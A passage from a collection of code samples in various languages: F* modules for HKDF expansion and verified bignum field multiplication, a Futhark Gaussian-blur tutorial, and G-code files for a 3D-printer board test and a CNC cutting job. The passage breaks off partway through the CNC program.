hashsize infolen;\n    Buffer.upd til (size_Til -^ 1ul) (u32_to_s8 i);\n\n    (* Compute the mac of to get block Ti *)\n    HMAC.hmac ti prk prklen til size_Til;\n\n    (* Store the resulting block in T *)\n    let pos = U32.mul_mod (i -^ 1ul) hashsize in\n    Buffer.blit ti 0ul t pos hashsize;\n\n    (* Recursive call *)\n    hkdf_expand_inner state prk prklen info infolen n (i +^ 1ul) end\n  else ();\n\n  (* Pop the memory frame *)\n  (**) pop_frame()\n\n\n\n(* Define HKDF Expand function *)\nval hkdf_expand :\n  okm     :suint8_p ->\n  prk     :suint8_p {v hashsize <= length prk} ->\n  prklen  :uint32_t {v prklen <= length prk} ->\n  info    :suint8_p ->\n  infolen :uint32_t {v infolen <= length info} ->\n  len     :uint32_t {v len <= length okm\n                    /\\ v len <= (255 * U32.v hashsize)\n                    /\\ (U32.v len / U32.v hashsize + 1) <= length okm} ->\n  Stack unit\n        (requires (fun h0 -> live h0 okm /\\ live h0 prk /\\ live h0 info))\n        (ensures  (fun h0 r h1 -> live h1 okm /\\ modifies_1 okm h0 h1))\n\nlet hkdf_expand okm prk prklen info infolen len =\n\n  (* Push a new memory frame *)\n  (**) push_frame ();\n\n  (* Compute the number of blocks necessary to compute the output *)\n  let n = U32.(div len hashsize) +^ 1ul in\n\n  (* Describe the shape of memory used by the inner recursive function *)\n  let size_T = U32.mul_mod n hashsize in\n  let size_Ti  = hashsize in\n  let size_Til = hashsize +^ infolen +^ 1ul in\n  let pos_Ti = 0ul in\n  let pos_Til = size_Ti in\n  let pos_T = pos_Til +^ size_Til in\n\n  (* Allocate memory for inner expension: state =  Ti | Til | T *)\n  let state = Buffer.create (u8_to_s8 0uy) (size_Ti +^ size_Til +^ size_T) in\n\n  (* Call the inner expension function *)\n  hkdf_expand_inner state prk prklen info infolen n 0ul;\n\n  (* Extract T from the state *)\n  let _T = Buffer.sub state pos_T size_T in\n\n  (* Redundant copy the desired part of T *)\n  Buffer.blit _T 0ul okm 0ul len;\n\n  (* Pop the memory frame *)\n  (**) pop_frame()\n"
  },
  {
    "path": "samples/Fstar/Hacl.Spec.Bignum.Fmul.fst",
    "content": "module Hacl.Spec.Bignum.Fmul\n\nmodule ST = FStar.HyperStack.ST\n\nopen FStar.HyperStack.All\n\nopen FStar.Mul\n\nopen Hacl.Bignum.Constants\nopen Hacl.Bignum.Parameters\nopen Hacl.Spec.Bignum.Bigint\nopen Hacl.Bignum.Limb\nopen Hacl.Spec.Bignum.Modulo\nopen Hacl.Spec.Bignum.Fproduct\n\nmodule U32 = FStar.UInt32\n\n\n#set-options \"--initial_fuel 0 --max_fuel 0 --z3rlimit 5\"\n\nlet shift_reduce_pre (s:seqelem) : GTot Type0 = reduce_pre (shift_spec s)\n\n\nval shift_reduce_spec: s:seqelem{shift_reduce_pre s} -> Tot (s':seqelem)\nlet shift_reduce_spec s =\n  reduce_spec (shift_spec s)\n\n#set-options \"--initial_fuel 0 --max_fuel 0 --z3rlimit 100\"\n\nval lemma_shift_spec_eq: s:seqelem -> Lemma\n  (Seq.append (Seq.slice (shift_spec s) 1 (len)) (Seq.slice (shift_spec s) 0 1) == s)\nlet lemma_shift_spec_eq s =\n  Seq.lemma_eq_intro (Seq.append (Seq.slice (shift_spec s) 1 (len)) (Seq.slice (shift_spec s) 0 1)) (s)\n\n\nval lemma_shift_reduce_spec: s:seqelem{shift_reduce_pre s} -> Lemma\n  (seval (shift_reduce_spec s) % prime = (pow2 limb_size * seval s) % prime)\nlet lemma_shift_reduce_spec s =\n  lemma_shift_spec_eq s;\n  lemma_reduce_spec (shift_spec s)\n\n\n#set-options \"--initial_fuel 1 --max_fuel 1 --z3rlimit 50\"\n\nlet rec mul_shift_reduce_pre_ (output:seqelem_wide) (input:seqelem) (input2:seqelem) (ctr:nat{ctr <= len}) : GTot Type0 (decreases ctr) =\n  (if ctr > 0 then (\n    sum_scalar_multiplication_pre_ output input (Seq.index input2 (len-ctr)) len\n    /\\ (let output' = sum_scalar_multiplication_spec output input (Seq.index input2 (len-ctr)) in\n       (ctr > 1 ==> shift_reduce_pre input) /\\\n         (let input'  = if ctr > 1 then shift_reduce_spec input else input in\n          mul_shift_reduce_pre_ output' input' input2 (ctr-1))))\n          else true)\n\n#reset-options \"--max_fuel 0 --max_fuel 2 --z3rlimit 50\"\n\nval lemma_mul_shift_reduce_pre_def: output:seqelem_wide -> input:seqelem -> input2:seqelem -> ctr:nat{ctr <= len /\\ ctr > 0} -> Lemma (\n    mul_shift_reduce_pre_ output input input2 ctr == (\n    sum_scalar_multiplication_pre_ output input (Seq.index input2 (len-ctr)) len\n    /\\ (let output' = sum_scalar_multiplication_spec output input (Seq.index input2 (len-ctr)) in\n       (ctr > 1 ==> shift_reduce_pre input) /\\\n         (let input'  = if ctr > 1 then shift_reduce_spec input else input in\n          mul_shift_reduce_pre_ output' input' input2 (ctr-1)))))\nlet lemma_mul_shift_reduce_pre_def output input input2 ctr = ()\n\n\n#set-options \"--initial_fuel 1 --max_fuel 1 --z3rlimit 50\"\n\n\nlet mul_shift_reduce_pre (output:seqelem_wide) (input_init:seqelem) (input:seqelem) (input2:seqelem) (ctr:nat{ctr <= len}) : GTot Type0 (decreases ctr) =\n  seval_wide output % prime = (seval input_init * seval_ input2 (len - ctr)) % prime\n  /\\ (ctr > 0 ==> seval input % prime = (pow2 ((len - ctr) * limb_size) * seval input_init) % prime)\n  /\\ mul_shift_reduce_pre_ output input input2 ctr\n\n\n#set-options \"--z3rlimit 20 --max_ifuel 1 --max_fuel 0\"\n\nval lemma_mod_mul_distr: a:nat -> b:nat -> p:pos -> Lemma ((a+b)%p = ((a%p) + b) % p)\nlet lemma_mod_mul_distr a b p = Math.Lemmas.lemma_mod_plus_distr_l a b p\nval lemma_mod_mul_comm: a:nat -> b:nat -> p:pos -> Lemma ((a*b)%p = ((a%p)*b)%p)\nlet lemma_mod_mul_comm a b p = Math.Lemmas.lemma_mod_mul_distr_l a b p\n\n\n#reset-options \"--z3rlimit 1000 --initial_fuel 0 --max_fuel 0\"\n\nval lemma_mul_shift_reduce_spec_1_1:\n  o':seqelem_wide -> o:seqelem_wide ->\n  i0:seqelem -> i:seqelem ->i2:seqelem -> ij:nat ->\n  ctr:pos{ctr <= len /\\ ij = v (Seq.index i2 (len-ctr))} -> Lemma\n  (requires (\n    seval_wide o' = seval_wide o + (seval i * ij)\n    /\\ seval i % prime = (pow2 ((len-ctr)*limb_size) * seval i0) % prime\n    /\\ seval_wide o % prime = (seval i0 * seval_ i2 (len-ctr)) % prime))\n  (ensures (seval_wide o' % prime = (seval i0 * seval_ i2 (len-ctr+1)) % prime))\nlet lemma_mul_shift_reduce_spec_1_1 o' o i0 i i2 ij ctr =\n  let so' = seval_wide o' % prime in\n  Math.Lemmas.lemma_mod_plus_distr_l (seval_wide o) (seval i * ij) prime;\n  cut (so' = (((seval i0 * seval_ i2 (len-ctr)) % prime) + (seval i * ij)) % prime);\n  Math.Lemmas.lemma_mod_plus_distr_l ((seval i0 * seval_ i2 (len-ctr))) (seval i * ij) prime;\n  cut (so' = ((seval i0 * seval_ i2 (len-ctr)) + seval i * ij) % prime);\n  Math.Lemmas.lemma_mod_plus_distr_l (seval i * ij) ((seval i0 * seval_ i2 (len-ctr))) prime;\n  cut (so' = (((seval i * ij) % prime) + (seval i0 * seval_ i2 (len-ctr))) % prime);\n  Math.Lemmas.lemma_mod_mul_distr_l (seval i) ij prime;\n  cut (so' = ((((seval i % prime) * ij) % prime) + (seval i0 * seval_ i2 (len-ctr))) % prime);\n  Math.Lemmas.lemma_mod_mul_distr_l (pow2 ((len-ctr)*limb_size) * seval i0) ij prime;\n  cut (so' = ((((pow2 ((len-ctr)*limb_size) * seval i0) * ij) % prime) + (seval i0 * seval_ i2 (len-ctr))) % prime);\n  Math.Lemmas.lemma_mod_plus_distr_l ((pow2 ((len-ctr)*limb_size) * seval i0) * ij) \n                                     (seval i0 * seval_ i2 (len-ctr)) prime;\n  cut (so' = (seval i0 * pow2 ((len-ctr)*limb_size) * ij + seval i0 * seval_ i2 (len-ctr)) % prime);\n  Math.Lemmas.distributivity_add_right (seval i0) (pow2 ((len-ctr)*limb_size) * ij) (seval_ i2 (len-ctr));\n  cut (so' = (seval i0 * (pow2 ((len-ctr)*limb_size) * ij + seval_ i2 (len-ctr))) % prime);\n  lemma_seval_def i2 (len-ctr+1)\n\n\nval lemma_mul_shift_reduce_spec_1_2:\n  o':seqelem_wide -> o:seqelem_wide ->\n  i0:seqelem -> i:seqelem -> i':seqelem -> i2:seqelem -> ij:nat ->\n  ctr:pos{ctr <= len /\\ ij = v (Seq.index i2 (len-ctr))} -> Lemma\n  (requires (\n    seval_wide o' = seval_wide o + (seval i * ij)\n    /\\ seval i % prime = (pow2 ((len-ctr)*limb_size) * seval i0) % prime\n    /\\ seval i' % prime = (pow2 limb_size * seval i) % prime\n    /\\ seval_wide o % prime = (seval i0 * seval_ i2 (len-ctr)) % prime))\n  (ensures (seval i' % prime = (pow2 ((len-ctr+1) * limb_size) * seval i0) % prime))\nlet lemma_mul_shift_reduce_spec_1_2 o' o i0 i i' i2 ij ctr =\n  let si' = seval i' % prime in\n  Math.Lemmas.lemma_mod_mul_distr_l (seval i) (pow2 limb_size) prime;\n  Math.Lemmas.lemma_mod_mul_distr_l (pow2 ((len-ctr)*limb_size) * seval i0) (pow2 limb_size) prime;\n  Math.Lemmas.pow2_plus ((len-ctr) * limb_size) limb_size\n\n\nval lemma_mul_shift_reduce_spec_1:\n  o':seqelem_wide -> o:seqelem_wide ->\n  i0:seqelem -> i:seqelem -> i':seqelem -> i2:seqelem -> ij:nat ->\n  ctr:pos{ctr <= len /\\ ij = v (Seq.index i2 (len-ctr))} -> Lemma\n  (requires (\n    seval_wide o' = seval_wide o + (seval i * ij)\n    /\\ seval i % prime = (pow2 ((len-ctr)*limb_size) * seval i0) % prime\n    /\\ seval i' % prime = (pow2 limb_size * seval i) % prime\n    /\\ seval_wide o % prime = (seval i0 * seval_ i2 (len-ctr)) % prime))\n  (ensures (seval_wide o' % prime = (seval i0 * seval_ i2 (len-ctr+1)) % prime\n    /\\ seval i' % prime = (pow2 ((len-ctr+1) * limb_size) * seval i0) % prime))\nlet lemma_mul_shift_reduce_spec_1 o' o i0 i i' i2 ij ctr =\n  lemma_mul_shift_reduce_spec_1_1 o' o i0 i i2 ij ctr;\n  lemma_mul_shift_reduce_spec_1_2 o' o i0 i i' i2 ij ctr\n\n\nval lemma_mul_shift_reduce_spec_2:\n  o':seqelem_wide -> o:seqelem_wide ->\n  i0:seqelem -> i:seqelem -> i':seqelem -> i2:seqelem -> ij:nat{ij = v (Seq.index i2 (len-1))} -> Lemma\n  (requires (\n    seval_wide o' = seval_wide o + (seval i * ij)\n    /\\ seval i % prime = (pow2 ((len-1)*limb_size) * seval i0) % prime\n    /\\ seval_wide o % prime = (seval i0 * seval_ i2 (len-1)) % prime))\n  (ensures (seval_wide o' % prime = (seval i0 * seval i2) % prime))\nlet lemma_mul_shift_reduce_spec_2 o' o i0 i i' i2 ij =\n  let ctr = 1 in\n  lemma_mul_shift_reduce_spec_1_1 o' o i0 i i2 ij ctr\n\n\nval mul_shift_reduce_spec_:\n  output:seqelem_wide ->\n  input_init:seqelem ->\n  input:seqelem ->\n  input2:seqelem{mul_shift_reduce_pre output input_init input input2 len} ->\n  ctr:nat{ctr <= len} ->\n  Tot (t:tuple2 seqelem_wide seqelem{\n    let output', input' = t in mul_shift_reduce_pre output' input_init input' input2 ctr})\n  (decreases (len - ctr))\n\n#reset-options \"--z3rlimit 500 --initial_fuel 1 --max_fuel 1\"\n\nlet rec mul_shift_reduce_spec_ output input_init input input2 ctr =\n  if ctr = len then output, input\n  else (\n    let output, input = mul_shift_reduce_spec_ output input_init input input2 (ctr+1) in\n    let i = ctr in\n    let j = len - i - 1 in\n    let input2j = Seq.index input2 j in\n    let output' = sum_scalar_multiplication_spec output input input2j in\n    lemma_sum_scalar_multiplication_ output input input2j len;\n    cut (seval_wide output' = seval_wide output + (seval input * v input2j));\n    let input'  = if ctr > 0 then shift_reduce_spec input else input in\n    if ctr = 0 then (\n      lemma_mul_shift_reduce_spec_2 output' output input_init input input' input2 (v input2j);\n      ()\n    ) else (\n      lemma_shift_reduce_spec input;\n      lemma_mul_shift_reduce_spec_1 output' output input_init input input' input2 (v input2j) (ctr+1);\n      ()\n    );\n    (* mul_shift_reduce_spec_ output' input_init input' input2 i *)\n    output', input'\n  )\n\nval lemma_mul_shift_reduce_spec_def:\n  output:seqelem_wide ->\n  input_init:seqelem ->\n  input:seqelem ->\n  input2:seqelem{mul_shift_reduce_pre output input_init input input2 len} ->\n  ctr:nat{ctr < len} ->\n  Lemma (\n    mul_shift_reduce_spec_ output input_init input input2 ctr ==\n      (let output, input = mul_shift_reduce_spec_ output input_init input input2 (ctr+1) in\n      let i = ctr in\n      let j = len - i - 1 in\n      let input2j = Seq.index input2 j in\n      let output' = Hacl.Spec.Bignum.Fproduct.sum_scalar_multiplication_spec output input input2j in\n      Hacl.Spec.Bignum.Fproduct.lemma_sum_scalar_multiplication_ output input input2j len;\n      assert (seval_wide output' = seval_wide output + (seval input * v input2j));\n      let input'  = if ctr > 0 then shift_reduce_spec input else input in\n      (output', input')) )\nlet lemma_mul_shift_reduce_spec_def output input_init input input2 ctr =\n  ()\n\nval lemma_mul_shift_reduce_spec_def_0:\n  output:seqelem_wide ->\n  input_init:seqelem ->\n  input:seqelem ->\n  input2:seqelem{mul_shift_reduce_pre output input_init input input2 len} ->\n  Lemma (\n    mul_shift_reduce_spec_ output input_init input input2 len == (output, input))\nlet lemma_mul_shift_reduce_spec_def_0 output input_init input input2 =\n  ()\n\n\nval lemma_seval_wide_null: a:seqelem_wide -> ctr:nat{ctr <= len} -> Lemma\n  (requires (a == Seq.create len wide_zero))\n  (ensures (seval_wide_ a ctr = 0))\nlet rec lemma_seval_wide_null a ctr =\n  if ctr = 0 then () else lemma_seval_wide_null a (ctr-1)\n\n\n#reset-options \"--z3rlimit 100 --max_fuel 0 --max_ifuel 0\"\n\nval mul_shift_reduce_spec:\n  input:seqelem -> input2:seqelem{mul_shift_reduce_pre (Seq.create len wide_zero) input input input2 len} ->\n  Tot (s:seqelem_wide{seval_wide s % prime = (seval input * seval input2) % prime})\nlet mul_shift_reduce_spec input input2 =\n  lemma_seval_wide_null (Seq.create len wide_zero) len;\n  assert_norm (pow2 0 = 1);\n  let output, _ = mul_shift_reduce_spec_ (Seq.create len wide_zero) input input input2 0 in\n  output\n\n\n#set-options \"--z3rlimit 20 --initial_fuel 2 --max_fuel 2\"\n\nlet fmul_pre (input:seqelem) (input2:seqelem) : GTot Type0 =\n  mul_shift_reduce_pre (Seq.create len wide_zero) input input input2 len\n  /\\ carry_wide_pre (mul_shift_reduce_spec input input2) 0\n  /\\ carry_top_wide_pre (carry_wide_spec (mul_shift_reduce_spec input input2))\n  /\\ copy_from_wide_pre (carry_top_wide_spec (carry_wide_spec (mul_shift_reduce_spec input input2)))\n  /\\ carry_0_to_1_pre (copy_from_wide_spec (carry_top_wide_spec (carry_wide_spec (mul_shift_reduce_spec input input2))))\n\n#set-options \"--initial_fuel 0 --max_fuel 0\"\n\nval fmul_spec:\n  input:seqelem -> input2:seqelem{fmul_pre input input2} ->\n  Tot (output:seqelem{seval output % prime = (seval input * seval input2) % prime})\nlet fmul_spec input input2 =\n  let output1 = mul_shift_reduce_spec input input2 in\n  let output2 = carry_wide_spec output1 in\n  lemma_carry_top_wide_spec output2;\n  let output3 = carry_top_wide_spec output2 in\n  lemma_copy_from_wide output3;\n  let output4 = copy_from_wide_spec output3 in\n  carry_0_to_1_spec output4\n\n#set-options \"--z3rlimit 40\"\n\n\nval lemma_whole_slice: #a:Type -> s:Seq.seq a -> Lemma\n  (Seq.slice s 0 (Seq.length s) == s)\nlet lemma_whole_slice #a s = Seq.lemma_eq_intro (Seq.slice s 0 (Seq.length s)) s\n"
  },
  {
    "path": "samples/Futhark/gaussian_blur.fut",
    "content": "-- # Gaussian blur\n--\n-- One common pattern of array computation is the so-called\n-- [stencil](https://en.wikipedia.org/wiki/Stencil_code), where we\n-- change the value of an element in the array based on its\n-- neighbours.  For example, we might implement image blurring by\n-- assigning each pixel the average value of all of its neighbors.\n-- Futhark does not have a special-purpose stencil language construct.\n-- Instead, stencil computations are expressed as `map`s on the index\n-- space, using explicit array indexing to access the stencil source\n-- array and returning the new value for the index.  While this is\n-- rather verbose, at least until Futhark grows more syntactical\n-- conveniences, it works and performs well.  Let's look at how to\n-- implement a simple image blurring program.\n--\n-- We will represent an image as a three-dimensional array\n-- `[rows][cols][3]u8`.  The innermost size-3 dimension encodes the\n-- three colour channels for red, green, and blue, respectively.  When\n-- blurring, it is useful to operate on each colour channel separately.\n-- Furthermore, instead of the colour being a number from 0 to 255, it is\n-- more convenient to store it as a floating-point number between 0 and\n-- 1.0.  Therefore, we define a function that transforms an array of type\n-- `[rows][cols][3]u8` into three arrays of type\n-- `[rows][cols]f32` each.  The result is that we have one array for\n-- each of the three colour channels:\n--\nlet split_channels [rows][cols]\n                   (image: [rows][cols][3]u8): ([rows][cols]f32,\n                                                [rows][cols]f32,\n                                                [rows][cols]f32) =\n  unzip3 (map (\\row ->\n                unzip3 (map (\\pixel ->\n                              (f32.u8 pixel[0] / 255,\n                               f32.u8 pixel[1] / 255,\n                               f32.u8 pixel[2] / 255))\n                            row))\n              image)\n\n-- The `[rows][cols]` notation preceding the `image` parameter is not\n-- a normal function parameter.  Rather, it is a *size parameter*, a way\n-- of indicating that the function `split_channels` is polymorphic\n-- in the sizes `rows` and `cols`.  The main purpose is that we can\n-- then use these names to indicate the sizes of the parameter and return\n-- values of the function.  When the function is called, size parameters\n-- need not be passed arguments explicitly, but are automatically\n-- inferred from the concrete `image` argument.  If we did not\n-- explicitly add these size parameters, the Futhark compiler would look\n-- for variables `rows` and `cols` in scope.\n--\n-- The function `split_channels` maps across each inner `[3]u8`\n-- element (`pixel`), turns this into a triple instead of a\n-- three-element array, then uses `unzip` to turn the resulting\n-- array-of-triples into a triple-of-arrays, which is then returned.  For\n-- readability, we could have chosen to explicitly indicate the return\n-- and parameter types of the anonymous function, but in the interest of\n-- brevity we have left them for the compiler to infer.  It is only\n-- required to explicitly indicate the types of all top-level functions.\n--\n-- We will also need to re-combine the colour channel arrays into a\n-- single array.  That function looks like this:\n\nlet combine_channels [rows][cols]\n                     (rs: [rows][cols]f32)\n                     (gs: [rows][cols]f32)\n                     (bs: [rows][cols]f32): [rows][cols][3]u8 =\n  map3 (\\rs_row gs_row bs_row ->\n         map3 (\\r g b ->\n                [u8.f32 (r * 255),\n                 u8.f32 (g * 255),\n                 u8.f32 (b * 255)])\n              rs_row gs_row bs_row)\n       rs gs bs\n\n-- Another thing we will need is the actual stencil function.  That is,\n-- the function we wish to apply to every pixel in the image.  For\n-- blurring, we will take the average value of the pixel itself plus each\n-- of its eight neighbors (nine values in total):\n\nlet new_value [rows][cols]\n             (image: [rows][cols]f32) (row: i32) (col: i32): f32 =\n  unsafe\n  let sum =\n    image[row-1,col-1] + image[row-1,col] + image[row-1,col+1] +\n    image[row,  col-1] + image[row,  col] + image[row,  col+1] +\n    image[row+1,col-1] + image[row+1,col] + image[row+1,col+1]\n  in sum / 9\n\n-- The function call `new_value(image, row, col)` computes the new value\n-- for the pixel at position `(row, col)` in `image`.\n--\n-- The alert reader will have noticed that `new_value` cannot be applied\n-- to pixels on the edge of the image - doing so would result in\n-- out-of-bounds accesses to the `image` array.  We will take care to\n-- only call the `new_value` function with safe indices, but the Futhark\n-- compiler is sadly not yet smart enough to realise this - thus we are\n-- forced to use the `unsafe` keyword to prevent the insertion of\n-- bounds checks that would otherwise hinder parallelisation.  If we did\n-- not use `unsafe`, the Futhark compiler would fail with an error\n-- message pointing at the problematic array access.\n--\n-- Now we can write the actual stencil function, which applies\n-- `new_value` to every inner element of a colour channel array.  This\n-- uses the `iota` function for constructing an array of integers\n-- ranging from *0* to the provided argument (the latter not inclusive).\n-- The edges are left unchanged:\n\nlet blur [rows][cols]\n         (channel: [rows][cols]f32): [rows][cols]f32 =\n  map (\\row ->\n         map(\\col ->\n               if row > 0 && row < rows-1 && col > 0 && col < cols-1\n               then new_value channel row col\n               else channel[row,col])\n             (iota cols))\n      (iota rows)\n\n-- You may have heard that branches are expensive on a GPU.  While this\n-- is a good basic rule of thumb, what is actually expensive is *branch\n-- divergence* - that is, when neighboring threads take *different* paths\n-- through a branch.  In our stencil, only the edge elements will take\n-- the false branch, and these are few in number compared to the\n-- interior.\n--\n-- Stencil computations usually have an outer (sequential) loop for\n-- applying the stencil several times.  Our program is no different - we\n-- will apply the blurring transformation a user-defined number of times.\n-- The more iterations we run, the more blurred the image will become:\n\nlet main [rows][cols]\n         (iterations: i32) (image: [rows][cols][3]u8): [rows][cols][3]u8 =\n  let (rs, gs, bs) = split_channels image\n  let (rs, gs, bs) = loop (rs, gs, bs) for i < iterations do\n    let rs = blur rs\n    let gs = blur gs\n    let bs = blur bs\n    in (rs, gs, bs)\n  in combine_channels rs gs bs\n\n-- Our `main` function is quite simple.  We split the input image into\n-- three different channels, use a sequential loop to blur each colour\n-- channel the requested number of times, then recombine the resulting\n-- channel arrays into a single final image.\n--\n-- The Futhark `loop` construct merits an explanation: in the above\n-- function, we declare three *loop variant variables*, `rs`, `gs`,\n-- and `bs`.  These take their initial values from the incidentally\n-- identically named variables in scope (but this is not in general\n-- requirement).  The *loop body* then returns three values that become\n-- the values of the loop variant variables in the next iteration of the\n-- loop.  In essence, the `loop` construct is just syntactical suger\n-- for a particularly simple (but common) pattern of tail-recursive\n-- function.  However, the Futhark compiler is able to perform\n-- transformations involving `loop`s that it cannot for recursive\n-- functions (although it does not perform any such for this simple\n-- program).\n--\n-- The three separate calls to `blur` may seem wasteful, but the\n-- Futhark compiler is smart enough to fuse them together into a single\n-- GPU kernel that traverses the three colour channel arrays\n-- simultaneously.  This is an instance of *horisontal fusion*.\n--\n-- Our Futhark program is now done.  We can make it a little more\n-- useful by writing a small Python wrapper program for reading and\n-- writing PNGs: [blur-png.py](/static/blur-png.py).  We must\n-- compile `blur.fut` using the PyOpenCL backend:\n--\n-- ```\n-- $ futhark pyopencl --library blur.fut\n-- ```\n--\n-- This produces a Python module `blur.py` which is then imported by\n-- `blur-png.py`.  We can try it out on any PNG image, say, this\n-- [illustration of the spirit of Futhark](/images/gottagofast.png):\n--\n-- ```\n-- $ python blur-png.py gottagofast.png --output-file gottagofast-blurred.png\n-- ```\n--\n-- Which produces [this slightly smushed\n-- image](/images/gottagofast-blurred.png).  We can also ask for a\n-- hundred iterations::\n--\n-- ```\n-- $ python blur-png.py gottagofast.png --output-file gottagofast-blurred.png --iterations 100\n-- ```\n--\n-- Which produces [this blurry\n-- mess](/images/gottagofast-veryblurred.png).  Notice the edges -\n-- perhaps simply keeping them unchanged is not the best way to\n-- implement image blurring.  Still, this program is a decent\n-- description of how to implement stencils in Futhark.\n"
  },
  {
    "path": "samples/G-code/duettest.g",
    "content": "; RepRapPro Ormerod\n; Board test GCodes\nM111 S1; Debug on\nG21 ; mm\nG90 ; Absolute positioning\nM83 ; Extrusion relative\nM906 X800 Y800 Z800 E800 ; Motor currents (mA)\nT0 ; Extruder 0\nG1 X50 F500\nG1 X0\nG4 P500\nG1 Y50 F500\nG1 Y0\nG4 P500\nG1 Z20 F200\nG1 Z0\nG4 P500\nG1 E20 F200\nG1 E-20\nG4 P500\nM106 S255\nG4 P500\nM106 S0\nG4 P500\nM105\nG10 P0 S100\nT0\nM140 S100\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nG4 P5000\nM105\nM0\n\n\n\n\n"
  },
  {
    "path": "samples/G-code/ghLogo.cnc",
    "content": "N1 DEF BOOL W_BLADE\r\nN2 G17 G70 G90 G40 G64\r\nN3 M32\r\nN4 STOPRE\r\n;  R50 = Part Area in SqFt\r\nN5 R50=0.00\r\n;  R51 = Linear Feet Cut\r\nN6 R51=0.00\r\nN7 IF $MN_USER_DATA_INT[1]==1\r\nN8 W_BLADE=TRUE\r\nN9 ELSE\r\nN10 W_BLADE=FALSE\r\nN11 ENDIF\r\nN12 PATHLGTH\r\nN13 DO $R44=0\r\nN14 G17 G90 G64 G70 G40\r\nN15 IF W_BLADE==TRUE\r\nN16 G00 SUPA Z=0 BZ=0\r\nN17 ELSE\r\nN18 G00 SUPA Z=0\r\nN19 ENDIF\r\nN20 M5\r\nN21 D0\r\nN22 IF W_BLADE==TRUE\r\nN23 G00 SUPA Z=0 BZ=0\r\nN24 ELSE\r\nN25 G00 SUPA Z=0\r\nN26 ENDIF\r\nN27 ; T1 (001) CORE BIT 1.375 CNC 1\r\nN28 T1 D1\r\nN29 M6\r\nN30 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN31 G54 CFIN\r\nN32 ; OP 1\r\nN33 G90 G0 X-8.8059 Y-5.3995\r\nN34 Z5.0\r\nN35 S2800 M3\r\nN36 G0 Z4.0\r\nN37 M8\r\nN38 G1 Z-0.125 F2.0\r\nN39 G0 Z4.0\r\nN40 Z5.0\r\nN41 X-7.8843 Y-3.9351\r\nN42 Z4.0\r\nN43 G1 Z-0.125 F2.0\r\nN44 G0 Z4.0\r\nN45 Z5.0\r\nN46 M5\r\nN47 D0\r\nN48 IF W_BLADE==TRUE\r\nN49 G00 SUPA Z=0 BZ=0\r\nN50 ELSE\r\nN51 G00 SUPA Z=0\r\nN52 ENDIF\r\nN53 ; T2 (002) FINGER BIT CNC 2\r\nN54 T2 D1\r\nN55 M6\r\nN56 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN57 G54 CFIN\r\nN58 ; OP 2\r\nN59 G90 G0 X-8.8059 Y-5.3995\r\nN60 Z5.0\r\nN61 S5500 M3\r\nN62 G4 F1.0\r\nN63 G0 Z4.0\r\nN64 M8\r\nN65 G90 G1 X-8.8059 Y-5.3995 Z0.0 F50.0\r\nN66 M13\r\nN67 DO $R44=1\r\nN68 G41\r\nN69 G90 G1 X-8.2411 Y-5.9818 Z0.0 F10.0\r\nN70 G90 G3 X-7.0516 Y-5.4814 Z0.0 I0.2375 J1.0997 F10.0\r\nN71 G90 G3 X-5.8991 Y-1.4856 Z0.0 I-6.347 J3.9946 F10.0\r\nN72 G90 G3 X-13.3975 Y6.0127 Z0.0 I-7.4983 J0.0 F10.0\r\nN73 G90 G3 X-20.896 Y-1.4856 Z0.0 I0.0002 J-7.4987 F10.0\r\nN74 G90 G3 X-15.9208 Y-8.5482 Z0.0 I7.5003 J-0.0001 F10.0\r\nN75 G90 G3 X-15.3193 Y-8.1211 Z0.0 I0.1515 J0.4237 F10.0\r\nN76 G90 G2 X-15.3278 Y-6.9564 Z0.0 I15662.3898 J114.7986 F10.0\r\nN77 G90 G2 X-17.8663 Y-6.0115 Z0.0 I-0.7655 J1.8257 F10.0\r\nN78 G90 G2 X-17.8694 Y-6.0038 Z0.0 I0.0448 J0.0222 F10.0\r\nN79 G90 G3 X-18.6701 Y-4.9375 Z0.0 I-1.8647 J-0.5664 F10.0\r\nN80 G90 G2 X-18.5939 Y-4.3774 Z0.0 I-0.0424 J0.291 F10.0\r\nN81 G90 G2 X-17.4076 Y-5.1787 Z0.0 I-0.2305 J-1.62 F10.0\r\nN82 G90 G2 X-17.4071 Y-5.1797 Z0.0 I-0.0433 J-0.025 F10.0\r\nN83 G90 G3 X-15.3015 Y-5.8002 Z0.0 I1.3649 J0.749 F10.0\r\nN84 G90 G2 X-14.8936 Y-4.8739 Z0.0 I1.6485 J-0.1729 F10.0\r\nN85 G90 G2 X-18.2642 Y-1.0888 Z0.0 I0.0035 J3.3964 F10.0\r\nN86 G90 G2 X-17.4934 Y0.9465 Z0.0 I2.971 J0.0385 F10.0\r\nN87 G90 G2 X-17.409 Y2.9525 Z0.0 I2.6135 J0.8948 F10.0\r\nN88 G90 G2 X-17.3656 Y2.9823 Z0.0 I0.0458 J-0.0201 F10.0\r\nN89 G90 G2 X-15.273 Y2.2142 Z0.0 I0.1344 J-2.8684 F10.0\r\nN90 G90 G2 X-13.3976 Y2.4626 Z0.0 I1.8864 J-7.0369 F10.0\r\nN91 G90 G2 X-13.3974 Y2.4626 Z0.0 I0.0001 J-0.05 F10.0\r\nN92 G90 G2 X-11.5205 Y2.2142 Z0.0 I-0.0119 J-7.304 F10.0\r\nN93 G90 G2 X-9.4304 Y2.9823 Z0.0 I1.9559 J-2.0943 F10.0\r\nN94 G90 G2 X-9.387 Y2.9525 Z0.0 I-0.0023 J-0.0499 F10.0\r\nN95 G90 G2 X-9.3017 Y0.9465 Z0.0 I-2.5248 J-1.1122 F10.0\r\nN96 G90 G2 X-8.5318 Y-1.0888 Z0.0 I-2.1954 J-1.9937 F10.0\r\nN97 G90 G2 X-11.9123 Y-4.8684 Z0.0 I-3.3661 J-0.3909 F10.0\r\nN98 G90 G2 X-11.4666 Y-6.2156 Z0.0 I-1.4037 J-1.2117 F10.0\r\nN99 G90 G2 X-11.4743 Y-8.1215 Z0.0 I-411.1686 J0.7028 F10.0\r\nN100 G90 G3 X-10.8728 Y-8.5481 Z0.0 I0.45 J-0.0029 F10.0\r\nN101 G90 G3 X-7.0516 Y-5.4814 Z0.0 I-2.5258 J7.0613 F10.0\r\nN102 G90 G3 X-7.1149 Y-4.1924 Z0.0 I-0.9521 J0.5992 F10.0\r\nN103 G40 G90 G1 X-7.8843 Y-3.9351 Z0.0 F10.0\r\nN104 DO 